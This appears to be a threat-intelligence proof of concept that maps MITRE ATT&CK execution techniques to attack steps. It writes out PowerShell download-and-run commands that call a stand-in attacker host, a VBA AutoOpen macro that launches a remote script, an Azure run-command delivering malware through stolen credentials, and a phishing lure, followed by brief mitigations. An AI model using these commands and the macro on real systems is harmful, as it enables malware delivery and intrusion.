

Proof Of Concept (POC) Of Threat Intelligence

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Task: PoC using MITRE ATT&CK Execution Tactic

 **Tactic: Execution (TA0002)**

Goal: To execute malicious code on a target system.

Techniques Used

Technique ID	Technique Name	Purpose
T1059	Command and Scripting Interpreter	Run a PowerShell script to launch malware
T1204.002	User Execution: Malicious File	Trick user into opening a malicious document
T1651	Cloud Administration Command	Run code in virtual machines using cloud tools

Step-by-Step Procedures

Technique 1: T1059 – Command and Scripting Interpreter

Goal: Use PowerShell to download and run a malware file.

Steps:

1. Prepare PowerShell script (payload.ps1):

```
Invoke-WebRequest http://attacker.com/malware.exe -OutFile malware.exe
Start-Process malware.exe
```

2. Deliver this script via phishing email or direct link.

3. Victim runs:

```
powershell.exe -ExecutionPolicy Bypass -File payload.ps1
```

✅ **Technique 2: T1204.002 – User Execution: Malicious File**

Goal: Get the user to execute a macro-embedded Word document.

Steps:

1. Create a Word file with VBA macro:

```
Sub AutoOpen()  
    Shell "powershell.exe -ExecutionPolicy Bypass -File \\attacker\payload.ps1"  
End Sub
```

2. Send the document via a convincing email (e.g., “Invoice Required”).
3. User opens file and enables macros.
4. Macro executes PowerShell script and runs malware.

✅ **Technique 3: T1651 – Cloud Administration Command**

Goal: Run commands in cloud-hosted virtual machines using admin tools.

Steps:

1. Use stolen credentials to access Azure or AWS.
2. Run the following command on Azure CLI:
az vm run-command invoke -g Group -n VictimVM --command-id
RunPowerShellScript --scripts "Invoke-WebRequest http://attacker/malware.exe
-OutFile malware.exe; Start-Process malware.exe"
3. The malware is executed inside the cloud VM.

🔴 Summary Table

Step Technique ID		Action Taken
1–3	T1059	PowerShell downloads and runs malware
4–6	T1204.002	Macro in Word executes PowerShell
7–8	T1651	Cloud command used to execute payload

Basic Mitigation Suggestions

Technique	Mitigation
T1059	Monitor PowerShell logs, restrict scripting policies
T1204.002	Disable macros by default, train users to avoid unknown attachments
T1651	Monitor cloud usage logs, use JIT roles, enforce MFA

Conclusion

This PoC shows how attackers can gain execution on endpoints and cloud systems using three common techniques. These actions reflect real-world attack chains and emphasize the need for script restrictions, cloud monitoring, and user awareness.